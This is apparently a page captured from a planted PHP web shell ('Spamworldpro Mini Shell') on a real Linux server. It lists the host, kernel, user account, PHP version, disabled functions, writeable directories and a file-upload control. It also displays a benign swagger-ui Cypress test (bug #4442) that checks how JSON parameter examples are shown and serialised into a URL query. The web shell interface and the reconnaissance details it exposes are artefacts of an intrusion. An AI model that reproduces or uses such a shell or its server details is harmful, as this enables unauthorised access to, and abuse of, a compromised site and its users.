Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/rentpix.corals.io/vendor/swagger-api/swagger-ui/test/e2e-cypress/e2e/bugs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/rentpix.corals.io/vendor/swagger-api/swagger-ui/test/e2e-cypress/e2e/bugs/4442.cy.js
/**
 * @prettier
 */

describe("UI #4442: Parameter.content display and execution", function() {
  it("should display textareas as static documentation according to the `example`", () => {
    cy.visit("/?url=/documents/bugs/4442.yaml")
      .get(`#operations-default-get_`)
      .click()
      .get(".btn.try-out__btn")
      .click()
      .get(
        `div.json-schema-array > div:nth-child(1) > div > textarea`
      )
      .should("have.value", `{\n  "userId": 1,\n  "currency": "USD"\n}`)
      .get(
        `div.json-schema-array > div:nth-child(2) > div > textarea`
      )
      .should("have.value", `{\n  "userId": 2,\n  "currency": "CAD"\n}`)
  })
  it("should serialize JSON into a query correctly", () => {
    cy.visit("/?url=/documents/bugs/4442.yaml")
      .get(`#operations-default-get_`)
      .click()
      .get(".btn.try-out__btn")
      .click()
      .get(".btn.execute")
      .click()
      .get(".request-url pre")
      .should(
        "have.text",
        `http://localhost:3230/?users=${encodeURIComponent(
          `[{"userId":1,"currency":"USD"},{"userId":2,"currency":"CAD"}]`
        )}`
      )
  })
})

Spamworldpro Mini